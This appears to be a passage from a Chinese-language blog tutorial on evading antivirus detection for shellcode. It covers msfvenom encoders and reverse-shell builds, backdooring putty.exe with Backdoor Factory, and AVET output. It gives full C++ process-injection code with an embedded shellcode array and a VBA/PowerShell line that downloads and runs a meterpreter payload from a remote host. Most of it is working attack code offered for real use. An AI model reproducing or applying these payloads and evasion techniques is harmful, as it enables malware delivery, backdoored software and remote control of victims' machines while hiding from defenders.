kali@kali:~$ msfvenom -l encoder
Name Rank Description
---- ---- -----------
cmd/brace low Bash Brace Expansion Command Encoder
cmd/echo good Echo Command Encoder
cmd/generic\_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Bourne ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell\_base64 excellent Powershell Base64 Command Encoder
cmd/printf\_php\_mq manual printf(1) via PHP magic\_quotes Utility Command Encoder
generic/eicar manual The EICAR Encoder
generic/none normal The "none" Encoder
mipsbe/byte\_xori normal Byte XORi Encoder
mipsbe/longxor normal XOR Encoder
mipsle/byte\_xori normal Byte XORi Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 Encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor\_tag normal PPC LongXOR Encoder
ruby/base64 great Ruby Base64 Encoder
sparc/longxor\_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x64/xor\_context normal Hostname-based Context Keyed Payload Encoder
x64/xor\_dynamic normal Dynamic key XOR Encoder
x64/zutto\_dekiru manual Zutto Dekiru
x86/add\_sub manual Add/Sub Encoder
x86/alpha\_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha\_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid\_underscore\_tolower manual Avoid underscore/tolower
x86/avoid\_utf8\_tolower manual Avoid UTF8/tolower
x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp\_polyglot manual BMP Polyglot
x86/call4\_dword\_xor normal Call+4 Dword XOR Encoder
x86/context\_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context\_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context\_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv\_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp\_call\_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/opt\_sub manual Sub Encoder (optimised)
x86/service manual Register Service
x86/shikata\_ga\_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single\_static\_bit manual Single Static Bit
x86/unicode\_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode\_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
x86/xor\_dynamic normal Dynamic key XOR Encoder
使用模板和编码器 for example:
msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/ plink.exe lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe
msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/ plink.exe lhost=1.1.1.1 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 -platform win -f exe > b.exe
Veil中的加密:
schelper:
Obfuscation:
Invoke-Obfuscation -ScriptBlock {echo xss} -Command 'Encoding\1,Launcher\PS\67' -Quiet
关于shellcode编码后执行就点到这里,其他语言也是大同小异,就不多列举了。
上面是一些编码加密shellcode,下面就看看shellcode注入的技巧方式。
大多数注入免杀还将shellcode进行了拆分。
拆分这两个字也很好理解,字面的意思上和各位php一句话木马免杀中大体一样,shellcode也好比我们php木马中需要拆分的危险函数名。
shellcode拆分可以把原本特征明显的程序中shellcode进行位置替换,最简单的比如新增加区段填入shellcode并将入口点jmp到shellcode地址最后再跳回原程序开头,
也可以将shellcode分段布在各个code cave中再分段执行,原理可以参考egg hunt shellcode的中的Omelet Shellcode。
举一些注入例子:
BDF:
https://github.com/secretsquirrel/the-backdoor-factory
*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Loading PE in pefile
[*] Parsing data directories
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 410
[*] All caves lengths: 410
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 410
[*] Available caves:
BDF中-F参数实现多裂缝注入。
backdoor-factory -f putty.exe -s show
backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.15.135 -P 4444
shellter:
A 选项增加区段注入
Avet:
root@kali:/tmp/avet/build# leafpad build_win64_meterpreter_rev_tcp_xor_fopen.sh
lhost=192.168.174.134
root@kali:/tmp/avet/build# cd ..
root@kali:/tmp/avet# ./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh
No Arch selected, selecting Arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 551 (iteration=0)
x64/xor chosen with final size 551
Payload size: 551 bytes
Final size of c file: 2339 bytes
./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh: line 6: ./make_avet: cannot execute binary file: Exec format error
avet.c: In function 'main':
avet.c:122:15: error: 'buf' undeclared (first use in this function)
shellcode = buf;
^
avet.c:122:15: note: each undeclared identifier is reported only once for each function it appears in
除了也可以手动整个进程注入,起一个正常进程注入shellcode
例子:
#include "stdafx.h"
#include
#include
#include "iostream"
using namespace std;
unsigned char shellcode[] =
"\xb8\x72\xd9\xb8\x52\xda\xd8\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x56\x83\xc2\x04\x31\x42\x0f\x03\x42\x7d\x3b\x4d\xae\x69\x39"
"\xae\x4f\x69\x5e\x26\xaa\x58\x5e\x5c\xbe\xca\x6e\x16\x92\xe6"
"\x05\x7a\x07\x7d\x6b\x53\x28\x36\xc6\x85\x07\xc7\x7b\xf5\x06"
"\x4b\x86\x2a\xe9\x72\x49\x3f\xe8\xb3\xb4\xb2\xb8\x6c\xb2\x61"
"\x2d\x19\x8e\xb9\xc6\x51\x1e\xba\x3b\x21\x21\xeb\xed\x3a\x78"
"\x2b\x0f\xef\xf0\x62\x17\xec\x3d\x3c\xac\xc6\xca\xbf\x64\x17"
"\x32\x13\x49\x98\xc1\x6d\x8d\x1e\x3a\x18\xe7\x5d\xc7\x1b\x3c"
"\x1c\x13\xa9\xa7\x86\xd0\x09\x0c\x37\x34\xcf\xc7\x3b\xf1\x9b"
"\x80\x5f\x04\x4f\xbb\x5b\x8d\x6e\x6c\xea\xd5\x54\xa8\xb7\x8e"
"\xf5\xe9\x1d\x60\x09\xe9\xfe\xdd\xaf\x61\x12\x09\xc2\x2b\x7a"
"\xfe\xef\xd3\x7a\x68\x67\xa7\x48\x37\xd3\x2f\xe0\xb0\xfd\xa8"
"\x71\xd6\xfd\x67\x39\xb7\x03\x88\x39\x91\xc7\xdc\x69\x89\xee"
"\x5c\xe2\x49\x0e\x89\x9e\x43\x98\xf2\xf6\xfa\xdc\x9b\x04\x03"
"\xcc\x07\x81\xe5\xbe\xe7\xc1\xb9\x7e\x58\xa1\x69\x17\xb2\x2e"
"\x55\x07\xbd\xe5\xfe\xa2\x52\x53\x56\x5b\xca\xfe\x2c\xfa\x13"
"\xd5\x48\x3c\x9f\xdf\xad\xf3\x68\xaa\xbd\xe4\x0e\x54\x3e\xf5"
"\xba\x54\x54\xf1\x6c\x03\xc0\xfb\x49\x63\x4f\x03\xbc\xf0\x88"
"\xfb\x41\xc0\xe3\xca\xd7\x6c\x9c\x32\x38\x6c\x5c\x65\x52\x6c"
"\x34\xd1\x06\x3f\x21\x1e\x93\x2c\xfa\x8b\x1c\x04\xae\x1c\x75"
"\xaa\x89\x6b\xda\x55\xfc\xef\x1d\xa9\x82\xc7\x85\xc1\x7c\x58"
"\x36\x11\x17\x58\x66\x79\xec\x77\x89\x49\x0d\x52\xc2\xc1\x84"
"\x33\xa0\x70\x98\x19\x64\x2c\x99\xae\xbd\xdf\xe0\xdf\x42\x20"
"\x15\xf6\x26\x21\x15\xf6\x58\x1e\xc3\xcf\x2e\x61\xd7\x6b\x20"
"\xd4\x7a\xdd\xab\x16\x28\x1d\xfe";
BOOL injection()
{
wchar\_t Cappname\[MAX\_PATH\] = { 0 };
STARTUPINFO si;
PROCESS\_INFORMATION pi;
LPVOID lpMalwareBaseAddr;
LPVOID lpnewVictimBaseAddr;
HANDLE hThread;
DWORD dwExitCode;
BOOL bRet = FALSE;
lpMalwareBaseAddr = shellcode;
GetSystemDirectory(Cappname, MAX\_PATH);
\_tcscat(Cappname, L"\\\\calc.exe");
printf("Injection program Name:%S\\r\\n", Cappname);
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (CreateProcess(Cappname, NULL, NULL, NULL,
FALSE, CREATE\_SUSPENDED
, NULL, NULL, &si, &pi) == 0)
{
return bRet;
}
lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
, NULL, sizeof(shellcode) + 1, MEM\_COMMIT | MEM\_RESERVE,
PAGE\_EXECUTE\_READWRITE);
if (lpnewVictimBaseAddr == NULL)
{
return bRet;
}
WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
(LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);
hThread = CreateRemoteThread(pi.hProcess, 0, 0,
(LPTHREAD\_START\_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
WaitForSingleObject(pi.hThread, INFINITE);
GetExitCodeProcess(pi.hProcess, &dwExitCode);
TerminateProcess(pi.hProcess, 0);
return bRet;
}
void help(char\* proc)
{
printf("%s:\[-\] start a process and injection shellcode to memory\\r\\n", proc);
}
int main(int argc, char\* argv\[\])
{
help(argv\[0\]);
injection();
}
注入就举例到这里,思考下如果是hook函数的检测怎么替换呢,可以进行函数替换,比如win api中可以替换VirtuallAlloc的函数就很多:
上面说了一些技巧,无论是分离中加载器运行shellcode、白利用运行恶意程序,还是将shellcode编码、加密、注入,对免杀都会有一定效果,单一使用某个技巧的话或多或少会有一定的缺陷。
那么将各个技巧结合起来达到最好的效果是我们需要取思考的事情
举个好用的例子:
https://github.com/enigma0x3/Powershell-Payload-Excel-Delivery/
这是就是使用shellcode调用graeber的VBA宏,在内存中执行powershell(可以使用编码),达到后门持久化
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID
C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
C:\PS> $Proc = Get-Process notepad
C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose
VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
VERBOSE: Injecting shellcode into PID: 4004
VERBOSE: Injecting into a Wow64 process.
VERBOSE: Using 32-bit shellcode.
VERBOSE: Shellcode memory reserved at 0x03BE0000
VERBOSE: Emitting 32-bit assembly call stub.
VERBOSE: Thread call stub memory reserved at 0x001B0000
VERBOSE: Shellcode injection complete!
技巧方法是死的,思路是活,在实际环境下也需要各位师傅将多个技巧结合灵巧的思路达到想要的成果。
文末推个个人博客,欢迎友链
https://www.cnblogs.com/-qing-/
完。
手机扫一扫
移动阅读更方便
你可能感兴趣的文章